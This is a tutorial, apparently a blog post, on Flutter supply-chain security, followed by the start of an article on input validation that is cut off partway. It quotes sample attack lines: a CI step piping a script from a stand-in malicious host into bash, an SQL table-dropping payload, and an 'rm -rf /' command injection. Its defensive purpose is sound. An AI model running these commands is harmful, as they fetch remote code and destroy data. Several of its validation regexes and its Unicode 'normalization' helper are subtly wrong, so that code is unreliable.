Introduction to Supply Chain Security in Flutter

When we talk about supply chain security in mobile app development, we mean protecting every component that goes into your app—from third-party libraries and SDKs to build tools and distribution channels. Modern apps depend on these external components to deliver features quickly. Yet, each component also introduces risk since attackers can target them as a “weak link.”Let me remind you with some real-world incidents:

  • XcodeGhost: A compromised version of Apple’s Xcode tool injected malware into iOS apps, leading to large-scale tampering in the App Store.

  • Mintegral (SourMint) SDK: A widely used advertising SDK secretly committed ad fraud and spied on user clicks, impacting 1,200+ iOS apps.

These examples highlight that attackers can still infiltrate your app via third-party components even if you don't write malicious code yourself. Flutter developers need to learn from these incidents, especially as the Flutter ecosystem grows rapidly on pub.dev.

Understanding Flutter’s Supply Chain Risks

To effectively secure your Flutter application, you must clearly understand where and how your supply chain can be compromised. Below is a diagram illustrating the journey from source code to end users:

Let’s delve deeper into each risk area.

1. Dependency Management Risks

Flutter apps rely heavily on packages hosted on pub.dev. While this ecosystem boosts productivity, it can also introduce vulnerabilities:

  • Malicious or Compromised Packages: Attackers may create Trojan packages disguised as legitimate ones or compromise widely-used packages to inject malicious code. For example, imagine you include a popular HTTP client package (fake_http) to simplify networking in your app:

dependencies:
  fake_http: ^2.0.0

If an attacker infiltrates this package on pub.dev, the malicious code can silently intercept user data:

// example 
class HttpClient {
  Future<Response> post(Uri url, {dynamic body}) async {
    // Hidden malicious code
    exfiltrateUserData(body);

    // Actual HTTP POST
    return await realHttpPost(url, body);
  }
}

o mitigate this, always review package changes, prefer verified publishers, and monitor for suspicious behaviors.

  • Outdated Dependencies: Old package versions may contain known vulnerabilities, potentially exposing your app to exploits. Regularly audit and update your dependencies to protect against such risks.

  • Dependency Confusion: If your build environment isn’t strictly configured, Flutter might pull packages from unintended sources, resulting in compromised or malicious code integration. For example, your internal package named internal_logging could inadvertently pull a malicious external version if pub.dev is prioritized:

dependencies:
  internal_logging:
    hosted:
      name: internal_logging
      url: https://internal.registry.com
    version: ^1.0.0

Misconfiguration or missing the private registry could fetch the package from the public source, creating a confusion attack scenario. Configure repositories and enforce private hosting policies.

2. Third-Party SDK Risks

Third-party SDKs are often integrated directly into Flutter via plugins. Each SDK you use is a potential risk vector:

  • Obfuscated or Closed-Source SDKs: Closed-source or obfuscated SDKs (common with advertising or analytics plugins) may conceal malicious logic. As a real-world example, Mintegral SDK in 2020 secretly committed ad fraud and collected user data.

  • Compromised APIs: Attackers can leverage vulnerabilities in third-party backend APIs or services your Flutter app interacts with (Firebase, cloud configurations, etc.). For example, if your app fetches remote config via an insecure API endpoint:

final response = await http.get(Uri.parse('http://insecure-config.com/settings'));

attackers could intercept and inject malicious configurations. Consistently enforce HTTPS, validate responses, and regularly audit third-party APIs.

  • Unvetted Native Binaries: Flutter plugins that integrate native code via Gradle (Android) or CocoaPods (iOS) carry additional supply chain risks, as native binaries can be tampered with. Always prefer plugins with transparent source codes and verified binaries.

3. Build Pipeline Vulnerabilities

Your CI/CD pipeline itself is vulnerable and can be exploited:

  • CI/CD Pipeline Access: Attackers gaining access to your pipeline could insert malicious build steps. For example, a compromised GitHub Action could introduce harmful commands:

- name: Malicious Step
  run: |
    curl http://malicious.com/inject.sh | bash

Securing pipeline access through least privilege, MFA, and audit logging is essential. Always make sure when you are using Curl and .sh files, make sure you understand what you are doing.

  • Exposed Signing Keys If Android (.jks) or iOS (.p12) signing keys are compromised, attackers could publish malicious app updates. Secure keys using encrypted storage (e.g., GitHub Secrets, AWS KMS) and regularly rotate keys to mitigate potential damage.

  • Artifact Tampering: Without verifying final binaries (.apk, .aab, .ipa), an attacker could replace artifacts. As a best practice, generate and store cryptographic hashes post-build:

sha256sum build/app/outputs/flutter-apk/app-release.apk > artifact.sha256

Compare these hashes before deploying or distributing to ensure artifact integrity.

Securing Dependencies in Flutter

Managing Flutter dependencies securely is the bedrock of supply chain protection. Here are the essentials:

1. Vet Packages from pub.dev

Let's explore what is possible for vetting packages.

  • Choosing Trusted Packages: Before including a dependency, thoroughly assess its reliability and security:

    • Prefer packages with active maintainers, regular updates, and transparent changelogs.

    • Look for a high popularity score and verified publishers (indicated by a "verified publisher" badge on pub.dev).

    • Regularly review the package's repository for suspicious or unusual activities.

  • Limiting Dependencies: Every additional package increases your risk exposure. Evaluate each dependency critically:

    • Assess if the functionality is critical or can be efficiently implemented internally.

    • Prefer fewer, well-vetted dependencies over numerous less secure packages.

For example, if you only need a small portion of a large UI toolkit, consider implementing the required component yourself, reducing potential vulnerabilities:

# Instead of:
dependencies:
  large_ui_toolkit: ^3.2.1

# Prefer:
# Implement the small needed feature directly within your app if feasible.

Comprehensive Dependency Assessment Checklist:

Here is a comprehensive checklist that I recommend you:

  • [ ] Verified publisher

  • [ ] Frequent updates (recent commits within the last three months)

  • [ ] Active community and responsive maintainers

  • [ ] Comprehensive documentation

  • [ ] No unresolved critical vulnerabilities

  • [ ] Clear license terms (MIT, Apache, BSD, etc.)

  • [ ] Minimal and justified permissions required

  • [ ] Well-tested with good code coverage

2. Maintaining and Enforcing the Lockfile (pubspec.lock)

I want to start by mentioning what the Dart team recommends from the official website:

The pubspec.lock file is a special case, similar to Ruby's Gemfile.lock.

For regular packages, don't commit the pubspec.lock file. Regenerating the pubspec.lock file lets you test your package against the latest compatible versions of its dependencies.

For application packages, we recommend that you commit the pubspec.lock file. Versioning the pubspec.lock file ensures changes to transitive dependencies are explicit. Each time the dependencies change due to dart pub upgrade or a change in pubspec.yaml the difference will be apparent in the lock file.

Now that you understand, let's review what you must do for the lock file.

  • Commit the Lockfile: Always commit your pubspec.lock file to your version control system. It records exact dependency versions and their cryptographic hashes, ensuring consistency across builds:

  • Dependency Hash Checking: Flutter automatically verifies dependency hashes in pubspec.lock whenever dependencies are fetched:

    • Suppose the package content changes unexpectedly on the pub.dev, Flutter identifies the discrepancy, protecting you from dependency tampering.

    • A warning or error appears, alerting you to investigate the issue.

  • Enforcing Lockfile Integrity in CI/CD: To ensure your CI/CD pipeline uses only validated dependencies, consistently enforce lockfile integrity during builds:

# Example CI workflow with lockfile enforcement
name: Flutter CI

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Setup Flutter
        uses: subosito/flutter-action@v2
        with:
          channel: stable

      - name: Enforce Dependency Integrity
        run: dart pub get --enforce-lockfile

      - name: Build App
        run: flutter build apk --release

If the content hash of any dependency doesn't match the lockfile, the build process will fail, immediately highlighting the potential security issue:

Error: Cached version of dependency 'fake_http' has incorrect hash.

Here is a quick review in an illustration below:

Integrating Vulnerability Scanning and SBOM Generation

Protecting your Flutter application’s supply chain requires proactive monitoring and comprehensive documentation of your dependencies. Here’s how to implement robust vulnerability scanning and maintain an accurate Software Bill of Materials (SBOM) to enhance security posture.

1. Vulnerability Scanning Integration

Integrating automated vulnerability scanning tools helps identify and mitigate security issues promptly. These tools continuously monitor your project's dependencies listed in your pubspec.lock, alerting you to potential vulnerabilities and recommending necessary actions.Popular tools for Flutter include:

  • Snyk: This offers robust integration with GitHub and other CI/CD tools, automatically scanning your dependencies for known vulnerabilities and providing actionable alerts and fixes.

  • GitHub Dependabot: Automatically scans your repository for outdated or vulnerable dependencies, generates pull requests to update them, and provides detailed vulnerability information.

To integrate Dependabot into your GitHub repository, create a file .github/dependabot.yml in your repository root:

version: 2
updates:
  - package-ecosystem: "pub"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

This configuration ensures Dependabot checks your dependencies daily, automatically creating pull requests if vulnerabilities or updates are found, keeping your Flutter app secure and up-to-date.

2. Software Bill of Materials (SBOM) Generation

An SBOM is a detailed, machine-readable inventory of all software components included in your application, along with their respective versions. Maintaining an SBOM lets you quickly pinpoint vulnerabilities within your software components, significantly reducing response times during security incidents. Here are some benefits of the SBOM that I can think of:

  • Comprehensive visibility into your application’s dependencies.

  • Faster identification and remediation of vulnerable components.

  • Enhanced compliance with security standards and regulatory requirements.

CycloneDX is a widely used standard for generating SBOMs. You can automate SBOM creation in your CI pipeline using tools like CycloneDX CLI:

   ______           __                 ____ _  __    ________    ____
  / ____/_  _______/ /___  ____  ___  / __ \ |/ /   / ____/ /   /  _/
 / /   / / / / ___/ / __ \/ __ \/ _ \/ / / /   /   / /   / /    / /
/ /___/ /_/ / /__/ / /_/ / / / /  __/ /_/ /   |   / /___/ /____/ /
\____/\__, /\___/_/\____/_/ /_/\___/_____/_/|_|   \____/_____/___/
     /____/

Usage:
  cyclonedx [command] [options]

Options:
  --version         Show version information
  -?, -h, --help    Show help and usage information

Commands:
  add                         Add information to a BOM (currently supports files)
  analyze                     Analyze a BOM file
  convert                     Convert between different BOM formats
  diff <from-file> <to-file>  Generate a BOM diff
  keygen                      Generates an RSA public/private key pair for BOM signing
  merge                       Merge two or more BOMs
  sign                        Sign a BOM or file
  validate                    Validate a BOM
  verify                      Verify signatures in a BOM

To use the CLI for Flutter projects, you can follow the steps below on macOS:

# Install CycloneDX CLI
brew install cyclonedx/cyclonedx/cyclonedx-cli

However, there are two more straightforward ways to generate SBOM.Either you can use cdxgen

brew install cdxgen

or you can use sbom dart package. I have not used this one myself yet.Let's continue with cdxgen

cdxgen -t dart -o sbom.json

This command generates an SBOM in JSON format (sbom.json), which you can store with your artifacts or utilize during security audits.Then, after generating this file we can analyze it with the following command:

cyclonedx analyze --input-file=sbom.json

# Analysis results for [email protected]+1:
# BOM Serial Number: urn:uuid:d720bd5c-dfa9-42ce-ba90-8a5d2f40aae4
# BOM Version: 1
# Timestamp: 12/3/2025 2:16:16am

Here is an example of the sbom.json

You can analyze your SBOM for security vulnerabilities using:

  • OWASP Dependency-Track (Setup Guide)

  • CycloneDX Online Tools (Official Site)

  • Snyk, OSS Index, or GitHub Advanced Security

Combining Scanning and SBOM in Your CI/CD WorkflowIncorporating vulnerability scanning and SBOM generation into your CI/CD pipeline strengthens your supply chain security. Consider uploading and tracking the SBOM with proper tools from the CD/CI.Now, let's look at the Native and Dart runtime security aspects.

Native and Dart-Side Runtime Checks

Even with vigilant dependency management, you might still face tampering or repackaging. Flutter offers various ways to verify integrity at runtime:

1. Self-Integrity Verification

Packages like freeRASP and app_integrity_checker can retrieve the checksums and signing certificate details of your app. Compare these values against known-good references on your server.

import 'package:app_integrity_checker/app_integrity_checker.dart';

final checksum = await AppIntegrityChecker.getchecksum();
final signature = await AppIntegrityChecker.getsignature();

// Compare with stored, expected values
if (!isValidChecksum(checksum) || !isValidSignature(signature)) {
  // Potential tampering detected
  handleIntegrityFailure();
}

2. Minimizing Trust in Third-Party Code

  • Limit Permissions: If a plugin doesn’t need sensitive permissions, don’t grant them. The OS sandbox can prevent malicious code from accessing off-limits features.

  • Feature Flags: Wrap calls to third-party SDKs or modules in toggles so you can remotely disable them if a supply chain breach is discovered.

3. freeRASP for Flutter

freeRASP by Talsec provides runtime application self-protection (RASP) features, including checks for:

  • Repackaging or signature changes

  • Debugger and hook detection

  • Root/Jailbreak detection

FreeRASP configuration is pretty straightforward, and in Flutter, the application is seamless.

final config = TalsecConfig(
    androidConfig: AndroidConfig(
      packageName: 'com.aheaditec.freeraspExample',
      signingCertHashes: ['AKoRuyLMM91E7lX/Zqp3u4jMmd0A7hH/Iqozu0TMVd0='],
      supportedStores: ['com.sec.android.app.samsungapps'],
      malwareConfig: MalwareConfig(
        blacklistedPackageNames: ['com.aheaditec.freeraspExample'],
        suspiciousPermissions: [
          ['android.permission.CAMERA'],
          ['android.permission.READ_SMS', 'android.permission.READ_CONTACTS'],
        ],
      ),
    ),
    iosConfig: IOSConfig(
      bundleIds: ['com.aheaditec.freeraspExample'],
      teamId: 'M8AK35...',
    ),
    watcherMail: '[email protected]',
    isProd: true,
  );

  await Talsec.instance.start(config);

Below is an example of using freeRASP in a real Flutter application.

// ignore_for_file: public_member_api_docs, avoid_redundant_argument_values

import 'dart:io';

import 'package:flutter/material.dart';
import 'package:flutter_riverpod/flutter_riverpod.dart';
import 'package:freerasp/freerasp.dart';
import 'package:freerasp_example/screen_capture_notifier.dart';
import 'package:freerasp_example/threat_notifier.dart';
import 'package:freerasp_example/threat_state.dart';
import 'package:freerasp_example/widgets/widgets.dart';

/// Represents current state of the threats detectable by freeRASP
final threatProvider =
    NotifierProvider.autoDispose<ThreatNotifier, ThreatState>(() {
  return ThreatNotifier();
});

final screenCaptureProvider =
    AsyncNotifierProvider.autoDispose<ScreenCaptureNotifier, bool>(() {
  return ScreenCaptureNotifier();
});

Future<void> main() async {
  WidgetsFlutterBinding.ensureInitialized();

  /// Initialize Talsec config
  await _initializeTalsec();

  runApp(const ProviderScope(child: App()));
}

/// Initialize Talsec configuration for Android and iOS
Future<void> _initializeTalsec() async {
  final config = TalsecConfig(
    androidConfig: AndroidConfig(
      packageName: 'com.aheaditec.freeraspExample',
      signingCertHashes: ['AKoRuyLMM91E7lX/Zqp3u4jMmd0A7hH/Iqozu0TMVd0='],
      supportedStores: ['com.sec.android.app.samsungapps'],
      malwareConfig: MalwareConfig(
        blacklistedPackageNames: ['com.aheaditec.freeraspExample'],
        suspiciousPermissions: [
          ['android.permission.CAMERA'],
          ['android.permission.READ_SMS', 'android.permission.READ_CONTACTS'],
        ],
      ),
    ),
    iosConfig: IOSConfig(
      bundleIds: ['com.aheaditec.freeraspExample'],
      teamId: 'M8AK35...',
    ),
    watcherMail: '[email protected]',
    isProd: true,
  );

  await Talsec.instance.start(config);
}

/// The root widget of the application
class App extends StatelessWidget {
  const App({super.key});

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Demo',
      theme: ThemeData(primarySwatch: Colors.blue),
      home: const HomePage(),
    );
  }
}

/// The home page that displays the threats and results
class HomePage extends ConsumerWidget {
  const HomePage({super.key});

  @override
  Widget build(BuildContext context, WidgetRef ref) {
    final threatState = ref.watch(threatProvider);

    // Listen for changes in the threatProvider and show the malware modal
    ref.listen(threatProvider, (prev, next) {
      if (prev?.detectedMalware != next.detectedMalware) {
        _showMalwareBottomSheet(context, next.detectedMalware);
      }
    });

    return Scaffold(
      appBar: AppBar(title: const Text('freeRASP Demo')),
      body: SafeArea(
        child: Padding(
          padding: const EdgeInsets.all(8),
          child: Column(
            children: [
              Text(
                'Threat Status',
                style: Theme.of(context).textTheme.titleMedium,
              ),
              const SizedBox(height: 8),
              if (Platform.isAndroid)
                ListTile(
                  title: const Text('Change Screen Capture'),
                  leading: SafetyIcon(
                    isDetected:
                        !(ref.watch(screenCaptureProvider).value ?? true),
                  ),
                  trailing: IconButton(
                    icon: const Icon(Icons.refresh),
                    onPressed: () {
                      ref.read(screenCaptureProvider.notifier).toggle();
                    },
                  ),
                ),
              Expanded(
                child: ThreatListView(threats: threatState.detectedThreats),
              ),
            ],
          ),
        ),
      ),
    );
  }
}

/// Extension method to show the malware bottom sheet
void _showMalwareBottomSheet(
  BuildContext context,
  List<SuspiciousAppInfo> suspiciousApps,
) {
  WidgetsBinding.instance.addPostFrameCallback((_) {
    showModalBottomSheet<void>(
      context: context,
      isDismissible: false,
      enableDrag: false,
      builder: (BuildContext context) => MalwareBottomSheet(
        suspiciousApps: suspiciousApps,
      ),
    );
  });
}

If freeRASP detects suspicious activity (e.g., your app was re-signed), it triggers callbacks. You can warn users, disable certain features, or shut down the app to protect sensitive data.

Mitigating CI/CD Pipeline Vulnerabilities

Your CI/CD pipeline is critical infrastructure; a single vulnerability here can compromise your entire Flutter application. Protecting your build pipeline is just as important as protecting your source code. Here’s how you can comprehensively secure your pipeline:

1. Secure Your Build Environments

CI/CD environments should be tightly controlled to prevent unauthorized access and minimize attack surfaces:

  • Restrict Access: Limit who can access your CI/CD infrastructure and securely store sensitive credentials (signing keys, API tokens).

  • Ephemeral Build Agents: Utilize ephemeral (temporary) build agents or Docker containers that reset after each build, ensuring clean, uncontaminated environments.

# Example of Github Action Using ephemeral Docker-based CI agents 
jobs:
  build:
    runs-on: ubuntu-latest
    container:
      image: "cirrusci/flutter:stable"
    steps:
      - uses: actions/checkout@v2
      - run: flutter build apk --release
  • Logging and Auditing: Enable comprehensive logging and auditing features to track changes in CI configurations and identify who triggered builds, facilitating rapid incident response.

2. Protecting Signing Keys and Certificates

Your app’s signing keys are highly sensitive; compromise means attackers could distribute malicious updates:

  • Android: Store your .jks keystore files securely outside source control, preferably using encrypted storage such as GitHub Secrets, AWS KMS, or HashiCorp Vault.

  • iOS: Store your .p12 certificates securely or leverage Apple’s automated code signing capabilities.

Here is an example from Github Action

- name: Build APK with signing
  env:
    KEYSTORE_FILE: ${{ secrets.KEYSTORE_FILE }}
    KEYSTORE_PASSWORD: ${{ secrets.KEYSTORE_PASSWORD }}
    KEY_ALIAS: ${{ secrets.KEY_ALIAS }}
    KEY_PASSWORD: ${{ secrets.KEY_PASSWORD }}
  run: |
    echo "$KEYSTORE_FILE" | base64 --decode > android/app/keystore.jks
    flutter build apk --release \
      --keystore=android/app/keystore.jks \
      --keystore-password=$KEYSTORE_PASSWORD \
      --key-alias=$KEY_ALIAS \
      --key-password=$KEY_PASSWORD

3. Enforcing Artifact Integrity

Ensure the integrity of your build artifacts to detect any unauthorized changes:

  • Cryptographic Hashing: Generate cryptographic hashes (e.g., SHA256) for your build artifacts. Verify these hashes before deployment.

# Generate SHA256 hash
sha256sum build/app/outputs/flutter-apk/app-release.apk > app-release.sha256

# Verify the hash before deployment
sha256sum -c app-release.sha256
  • Artifact Signing: Utilize advanced signing tools like Sigstore or Cosign for cryptographic artifact signing, providing verifiable proof of authenticity and provenance.

4. Implementing Reproducible Builds

Achieving reproducible builds allows detection of unauthorized modifications:

  • Deterministic Environments: Pin exact Flutter and Dart SDK versions, dependencies, and environmental configurations.

- name: Setup Flutter
  uses: subosito/flutter-action@v2
  with:
    flutter-version: "3.19.0"
    channel: "stable"
  • Build Provenance: Create and maintain a Software Bill of Materials (SBOM) and integrate the SLSA framework to document build inputs and ensure reproducibility.

5. Manual Approval and Code Reviews

Implementing human oversight in your CI/CD processes greatly enhances security:

  • Manual Approval Steps: Even with automated deployments, integrate manual approval processes to provide additional verification points.

  • Peer Code Reviews: Enforce mandatory code reviews and pair programming for sensitive changes, especially CI configuration updates.

This workflow triggers a manual approval in GitHub before proceeding with the deployment.

CI/CD Security Checklist

I made this checklist for you to make it easier to ensure you are following best practices.

  • [ ] CI/CD access and audit regularly.

  • [ ] Store sensitive credentials securely (GitHub Secrets, AWS KMS, HashiCorp Vault).

  • [ ] Use ephemeral build environments to ensure isolation.

  • [ ] Generate cryptographic hashes or signatures for build artifacts.

  • [ ] Achieve reproducible builds through deterministic configurations.

  • [ ] Implement SBOM generation and artifact signing tools.

  • [ ] Enforce manual approvals and thorough code reviews for critical deployments.

Other Protection Techniques

Adopting advanced security measures significantly strengthens your application against sophisticated supply chain threats. These techniques provide deeper assurances and comprehensive oversight of your Flutter app development and distribution processes.

1. Implementing the SLSA Framework (Supply Chain Levels for Software Artifacts)

The SLSA framework, developed by Google, defines incremental security maturity levels for software artifacts, ensuring transparency and trustworthiness in your build and deployment processes:

  • Level 1 - Documented Builds: Ensure a repeatable, documented build process.

  • Level 2 - Signed Provenance: Sign your build artifacts cryptographically to prove authenticity.

  • Level 3 - Auditable Builds: Conduct your builds in controlled, secure environments, ideally ephemeral or isolated.

  • Level 4 - Hermetic and Reproducible: Achieve fully reproducible builds with high security standards.

Here is a hypothetical example of achieving Level 2 compliance in Flutter CI using Sigstore:

# Install cosign tool for signing artifacts
curl -LO https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
chmod +x cosign-linux-amd64
sudo mv cosign-linux-amd64 /usr/local/bin/cosign

# Sign your Flutter APK in CI
cosign sign-blob --key cosign.key build/app-release.apk

2. Reproducible Builds

Reproducible builds allow you to verify that the same source code always produces an identical binary. This enables the detection of tampering and unauthorized modifications:

  • Pin exact versions of your Flutter and Dart SDKs.

  • Use standardized Docker or VM environments for consistency across builds.

Here is an example of a deterministic Docker setup:

FROM cirrusci/flutter:3.19.0
WORKDIR /app
COPY . .
RUN flutter pub get
RUN flutter build apk --release

3. Continuous Monitoring and Auditing

Continuously audit your dependencies and pipeline:

  • Regularly review dependency changes for unusual patterns.

  • Integrate automatic alerts for dependency or artifact integrity issues.

4. Emergency Response Planning

Have a well-defined response plan in case of supply chain compromise:

  • Prepare rapid revocation strategies for compromised credentials.

  • Implement remote kill-switches or feature flags to disable compromised components quickly.

Advanced Protection Techniques Checklist

Considering what we have learned so far, I have prepared a checklist that you can use to evaluate your process.

  • [ ] Adopt SLSA principles progressively.

  • [ ] Establish reproducible and deterministic builds.

  • [ ] Regularly generate and store SBOMs.

  • [ ] Implement continuous security scanning and monitoring.

  • [ ] Use cryptographic signing and artifact attestation.

  • [ ] Plan and rehearse an emergency response strategy.

Conclusion

Inadequate Supply Chain Security (OWASP M2) goes beyond just picking “safe” packages—it’s about securing the entire lifecycle of your Flutter app, from development to distribution. Attackers increasingly target the supply chain to inject malicious code or tamper with final builds.

  1. Harden Dependencies: Vet packages, lock versions, and monitor vulnerabilities.

  2. Embed Runtime Protection: Tools like freeRASP can detect tampering, ensuring the app your users run is the one you built.

  3. Secure Your CI/CD: Lock down secrets, sign artifacts, and enforce integrity checks in every pipeline stage.

  4. Adopt Advanced Techniques: SLSA, reproducible builds, and SBOMs can give you deeper assurances against hidden threats.

Stay proactive—attackers evolve, and supply chain security must constantly adapt in response. Implement these strategies today to ensure your Flutter apps remain safe, reliable, and worthy of your users’ trust.

OWASP Top 10 For Flutter – M4: Insufficient Input/Output Validation in Flutter

Welcome back to our deep dive into the OWASP Mobile Top 10, explicitly tailored for Flutter developers. In our last article, we tackled M3: Insecure Authentication and Authorization, exploring how lapses in identity and permissions checks can lead to serious breaches.

Today, we shift gears to M4: Insufficient Input/Output Validation, arguably one of the most pervasive and deceptively simple risks in any application. Last year, a popular finance app accidentally let users paste SQL payloads into its search bar, wiping out months of user data overnight. That’s the exact kind of risk M4 warns us about.

Even the most bulletproof authentication logic can be undone instantly if your app blindly trusts data crossing its boundaries. In a typical Flutter project, you’re juggling form inputs, HTTP APIs, deep links, platform channels, and WebViews, each a potential entry point for malformed or malicious data.

Over the following sections, we’ll define what OWASP means by “Insufficient Input/Output Validation,” and arm you with practical Dart and Flutter examples to lock down every trust boundary. Let’s dive in!

Understanding M4: Insufficient Input/Output Validation

Picture your Flutter app as a fortress. In our M3 discussion, we built high walls around identity and sessions, but what about the gates where data flows in and out? M4 is all about guarding those gates.

When OWASP talks about M4: Insufficient Input/Output Validation, they mean two complementary practices:

  • Input Validation: Checking every piece of incoming data (user input, API responses, deep links, messages from native code) to ensure it matches the exact shape and constraints you expect.

  • Output Sanitization: Cleaning or encoding data before it leaves your app (when you render it in the UI, send it back to a server, or hand it over to native code), so no hidden threats slip through.

Think of input validation as inspecting every carriage entering the fortress, no weapons, no stowaways. Output sanitization is like searching messengers before they depart, ensuring they carry no secret orders for sabotage.

Common trust boundaries in a Flutter app include:

  • Forms and TextFields where users type data

  • HTTP requests and responses from your backend

  • Deep links or app links that jump into specific screens

  • Platform channels bridging Dart and native code

  • WebViews or HTML renderers showing rich content

If any of these gates is left unchecked, attackers can inject SQL commands, sneak in scripts for XSS, manipulate file paths, or corrupt data. OWASP 2023 Mobile Top 10 ranks these flaws as COMMON with SEVERE impact, meaning they happen frequently and can cause real damage.

Our goal in the following sections is to ensure that both checkpoints, validation, and sanitization are rock-solid so that malicious data can neither reach the heart of your app nor escape it.

How Validation Flaws Manifest in a Flutter or Dart App

This section explores four common patterns of M4 failures, explains why they’re dangerous, and provides clear examples of how to fix them. While many examples focus on the Flutter frontend, the principles apply equally to Dart-based backends. Once you understand the underlying issues and solutions, use them wherever needed in your Flutter and Dart codebases.

1. Insufficient Input Validation

Every time your app accepts free‑form data, from a search box to a deep link, it’s like inspecting every carriage at your fortress gate: "Every carriage must be searched for hidden weapons". Attackers can turn that innocent-looking bundle into a weapon if you let any unchecked item slip through.

A. SQL Injection in Local Databases

Imagine a simple search field wired straight into your SQLite database:

// BAD: trusts user input directly in SQL
Future<List<Map<String, dynamic>>> findUsers(String name) async {
  return await db.rawQuery(
    "SELECT * FROM users WHERE name = '$name'"
  );
}

An attacker typing:

Robert'); DROP TABLE users;--q

won’t see search results; they’ll crash your app and delete your users table. Local stores often hold sensitive profiles, tokens, or settings so that a single flawed query can expose or wipe everything.

A safer approach is to parameterize the query and allow‑list any dynamic parts:

const allowedCols = ['name', 'email'];
if (!allowedCols.contains(sortColumn)) {
  throw Exception('Invalid sort column');
}

final rows = await db.rawQuery(
  'SELECT * FROM users WHERE name = ? ORDER BY $sortColumn DESC',
  [name]
);

Here, the ? placeholder keeps the user’s input separate from SQL code, and we verify sortColumn against a known list instead of concatenating it blindly.

B. Command Injection via Platform Channels

When Dart invokes native scripts, the stakes are just as high. Suppose you do:

// BAD: hands raw user input to native exec
await platform.invokeMethod('runScript', {'path': userInputPath});

If the native side executes:

Runtime.getRuntime().exec("sh " + path);

then an input like:

/tmp/myscript.sh; rm -rf /

could run arbitrary shell commands. Treat the Dart–native boundary like another untrusted gate: check the path’s pattern before you send it:

final path = userInputPath;
if (!RegExp(r'^[\w\/\-]+\.sh\$').hasMatch(path)) {
  throw Exception('Invalid script path');
}
await platform.invokeMethod('runScript', {'path': path});

And remember: always repeat similar validation in your native code too—never let Dart’s checks be the only line of defense.

C. Deep‑Link Parameter Poisoning

Deep links let you jump straight to a payment screen or a product detail page, but they also open a backdoor if you trust their parameters blindly:

// BAD: assumes valid numbers and names
final amount = double.parse(uri.queryParameters['amount']!);
processPayment(amount, uri.queryParameters['to']);

An attacker could send:

myapp://pay?amount=0;DELETE%20FROM%20payments&to=Evil

or a non‑numeric string, crashing your parser or injecting malicious data.A safer flow is to parse, validate, and then sanitize:

final amtParam = uri.queryParameters['amount'] ?? '';
final amount = double.tryParse(amtParam);
if (amount == null || amount <= 0 || amount > 1e6) {
  return showError('Invalid payment amount');
}

final to = uri.queryParameters['to'] ?? '';
if (!RegExp(r'^[A-Za-z0-9_ ]{1,32}\$').hasMatch(to)) {
  return showError('Invalid recipient');
}

processPayment(amount, to);

You can even write integration tests or run a MITM proxy (like Charles) to feed malformed links and ensure your app rejects them cleanly.

D. Syntactic vs. Semantic Validation

It’s not enough to check format (“can this parse?”); you must also check the meaning (“does it make sense?”). For example, validating date ranges:

DateTime parseDate(String s) {
  try {
    return DateTime.parse(s);
  } catch (_) {
    throw FormatException('Use YYYY-MM-DD format');
  }
}

void validateDateRange(String start, String end) {
  final s = parseDate(start);
  final e = parseDate(end);
  if (s.isAfter(e)) {
    throw Exception('Start date must come before end date');
  }
}

Here, parsing ensures you won’t crash on invalid text; comparing dates enforces your business rule.

E. Unicode Normalization & Safe Character Sets

Free‑form text can include emojis, accents, and look‑alike characters. Normalize it so that “é” is always one code point, then allow only expected character classes:

import 'package:characters/characters.dart';

String normalize(String input) => input.characters.toString();

bool isValidComment(String input) {
  final text = normalize(input);
  final safe = RegExp(r"^[\p{L}\p{N}\s\.,!?'\-]+\$", unicode: true);
  return safe.hasMatch(text);
}

This prevents hidden control codes or bypasses that sneak past naive filters.

F. Avoiding Regex Denial‑of‑Service

Complex regex patterns with nested quantifiers can lock up your UI if an attacker feeds crafted input. Always anchor and simplify:

// BAD: catastrophic backtracking
final badRegex = RegExp(r"^(a+)+\$");

// GOOD: explicit length, no nested quantifiers
final safeRegex = RegExp(r"^[A-Za-z0-9]{1,32}\$");

Test any new regex against long, repetitive strings in a small Dart script to confirm it completes in milliseconds.

G. Client‑Side File Upload Validation

If your app lets users pick images or documents, don’t send them straight to the server:

  1. Extension allow‑list: .jpg, .png, .pdf

  2. Size limit: e.g., 5 MB

  3. Content sniffing: verify it really is an image or PDF

  4. Rename to a safe, server‑controlled filename

import 'dart:io';
import 'package:path/path.dart' as p;
import 'package:image/image.dart' as img;

Future<File> prepareUpload(File file) async {
  final ext = p.extension(file.path).toLowerCase();
  if (!['.jpg', '.png'].contains(ext)) {
    throw Exception('Only JPG/PNG images allowed');
  }
  if (await file.length() > 5 * 1024 * 1024) {
    throw Exception('Image must be under 5 MB');
  }
  final bytes = await file.readAsBytes();
  if (img.decodeImage(bytes) == null) {
    throw Exception('File is not a valid image');
  }
  final safeName = '${DateTime.now().millisecondsSinceEpoch}$ext';
  return file.copy(p.join(p.dirname(file.path), safeName));
}

H. Canonicalize Before You Validate

Attackers often use percent‑encoding or Unicode variants to slip past allow‑lists. Always decode into one canonical form, then apply your checks:

// Suppose you get a percent‑encoded name
final rawName = uri.queryParameters['user'] ?? '';
// 1. Decode percent‑encoding
final decodedName = Uri.decodeComponent(rawName);
// 2. Normalize Unicode
final normalized = decodedName.characters.toString();

// 3. Apply your allow‑list
final namePattern = RegExp(r'^[A-Za-z0-9_ ]{1,32}\$');
if (!namePattern.hasMatch(normalized)) {
  return showError('Invalid user name');
}
  • %2e%2e vs ..: Without decoding, RegExp(r'^[\w\-]+\$') might miss a path‑traversal attack.

  • Mixed‑width Unicode characters can hide dangerous sequences if you validate on raw code units.

Making canonicalization the first step of every validation routine ensures your regex and length checks see the actual data, not a cleverly encoded variant.

I. NoSQL / GraphQL Injection

While SQL injection is well‑known, modern apps often talk to NoSQL stores or GraphQL endpoints. Unvalidated inputs in query objects or GraphQL queries can let attackers manipulate filters or execute unauthorized queries.

// BAD: builds a Firestore query from untrusted map
final filter = jsonDecode(userJson);
final snapshot = await FirebaseFirestore.instance
    .collection('orders')
    .where(filter['field'], isEqualTo: filter['value'])
    .get();

To fix it, allow‑list field names and validate types before constructing queries:

const allowedFields = ['status', 'customerId'];
final field = filter['field'];
if (!allowedFields.contains(field)) {
  throw Exception('Invalid query field');
}
final value = filter['value'];
// ensure the right type, e.g. String or int
if (value is! String && value is! int) {
  throw Exception('Invalid query value type');
}
